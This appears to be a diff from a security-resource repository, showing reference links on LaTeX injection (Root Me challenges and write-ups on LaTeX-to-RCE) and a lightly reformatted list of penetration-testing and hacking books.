* [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input) * [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)
* [Root Me - LaTeX - Command Execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution) * [Root Me - LaTeX - Command Execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)
## References ## References
- [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/) * [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)
- [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a) * [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
- [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) * [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)

View file

@ -2,7 +2,6 @@
> Grab a book and relax. Some of the best books in the industry. > Grab a book and relax. Some of the best books in the industry.
**Wiley**: **Wiley**:
- [Advanced Penetration Testing: Hacking the World's Most Secure Networks by Wil Allsopp (2017)](https://www.goodreads.com/book/show/32027337-advanced-penetration-testing) - [Advanced Penetration Testing: Hacking the World's Most Secure Networks by Wil Allsopp (2017)](https://www.goodreads.com/book/show/32027337-advanced-penetration-testing)
@ -62,4 +61,4 @@
- [The Art of Cyberwarfare: An Investigator's Guide to Espionage, Ransomware, and Organized Cybercrime by Jon DiMaggio (2022)](https://nostarch.com/art-cyberwarfare) - [The Art of Cyberwarfare: An Investigator's Guide to Espionage, Ransomware, and Organized Cybercrime by Jon DiMaggio (2022)](https://nostarch.com/art-cyberwarfare)
- [The Car Hacker's Handbook: A Guide for the Penetration Tester by Craig Smith (2016)](https://nostarch.com/carhacking) - [The Car Hacker's Handbook: A Guide for the Penetration Tester by Craig Smith (2016)](https://nostarch.com/carhacking)
- [The Hardware Hacking Handbook by Jasper van Woudenberg & Colin O'Flynn (2022)](https://nostarch.com/hardwarehacking) - [The Hardware Hacking Handbook by Jasper van Woudenberg & Colin O'Flynn (2022)](https://nostarch.com/hardwarehacking)
- [Windows Security Internals with PowerShell by James Forshaw (2024)](https://nostarch.com/windows-security-internals-powershell) - [Windows Security Internals with PowerShell by James Forshaw (2024)](https://nostarch.com/windows-security-internals-powershell)